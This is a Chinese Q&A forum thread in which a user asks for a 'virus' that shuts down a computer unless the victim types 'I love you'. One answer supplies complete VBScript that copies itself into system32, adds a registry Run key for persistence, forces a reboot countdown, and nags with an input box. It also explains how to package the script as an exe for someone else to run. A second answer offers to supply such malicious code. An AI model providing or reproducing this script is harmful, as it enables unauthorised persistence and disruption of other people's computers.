Question

有个病毒他让你输入 我爱你 不说他就自动关闭计算机,求下载!

我一定给你分！我做人很诚实！
你给我了我加分！

Answer 1

on error resume next
Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "我爱你.vbs"
Key_data = "C:\windows\system32\我爱你.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我爱你，不说我爱你就半分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("说我爱你哦,就不关机，快撒，说 ""我爱你"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

转成exe。给分吧，哈哈哈哈。

追问

在哪里输入！
求详细！1!
啥文件夹！
最好有图片！
咋转格式！
谢了！

追答

你可以下载netbox，然后用这个软件来转成exe。
下面这个网站上有使用方法之类的。
你这个肯定是给你喜欢的人吧，所以多费点功夫，才显得有诚心嘛~是吧。
我主要是不经常上网，今天时间不够，所以就没办法给你详细的讲解了....
麻烦一下你自己咯。

参考资料： http://www.netbox.cn:88/community/home.asp

追问

大哥！我是新手！大哥！帮帮我吧！！！！！

Answer 2

那不是病毒，是恶意程序及代码，网上也有下载的，如你要，可以给你